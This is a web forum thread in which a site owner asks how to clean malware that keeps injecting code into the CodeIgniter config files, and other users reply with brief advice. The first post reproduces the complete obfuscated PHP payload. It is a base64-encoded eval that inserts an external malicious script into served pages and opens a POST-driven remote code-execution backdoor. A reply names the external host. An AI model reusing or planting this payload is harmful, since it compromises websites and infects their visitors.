how remove virus on my website

[eluser]minhbu[/eluser]
now my website is being attacked by virus.Sometimes it append this source on top file config.php,database.php in folder system/application/config

Code:

<?php eval(base64_decode('aWYoIWlzc2V0KCRmOXhuNDEpKXtmdW5jdGlvbiBmOXhuNCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDJoaGJtNWhZbUZ5WW1WeVlTNWpiMjB1WW5JdmMyTjFZbWxrZFM4eE1HMWhhWE11Y0dod0lENDhMM05qY21sd2REND0nKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIGY5eG40MigkYSwkYiwkYywkZCl7Z2xvYmFsICRmOXhuNDE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGY5eG40MSkpY2FsbF91c2VyX2Z1bmMoJGY5eG40MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdmOXhuNCcpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdmOXhuNCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRmOXhuNGw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2Y5eG40MicpKSE9J2Y5eG40MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>

and file js it append this source into bottom file

Code:

document. write(' [removed]<\/ script>');

although i was chmod all files to 444 but virus chmoded all to 644 and appended sources into my files
how to delete virus or anti them?
i deleted index.html,index.php,default.php files

[eluser]Ben Edmunds[/eluser]
Do you manage the web server?

What OS?

[eluser]minhbu[/eluser]
no i `m coding and manage this website. i can`t intervention in the server.
kernel is 2.6.18-128.1.16.e l5PAE
i use linux

[eluser]Ben Edmunds[/eluser]
If it really is a virus you must contact the hosting provider.

[eluser]minhbu[/eluser]
i was contact the hosting provicer but they was scan my hosting but they say haven`t virus on my hosting

[eluser]Unknown[/eluser]
script sending request to

Code:

http://hannabarbera.com.br/scubidu/10mais.php

base64 decode into text based

[eluser]umefarooq[/eluser]
its not virus your site is got attacked by some body because last days one of my client site was also attacked, check your ftp directory and check the modified date of you directory and file may be there is some backdoor in hosting or code let attacker in your site.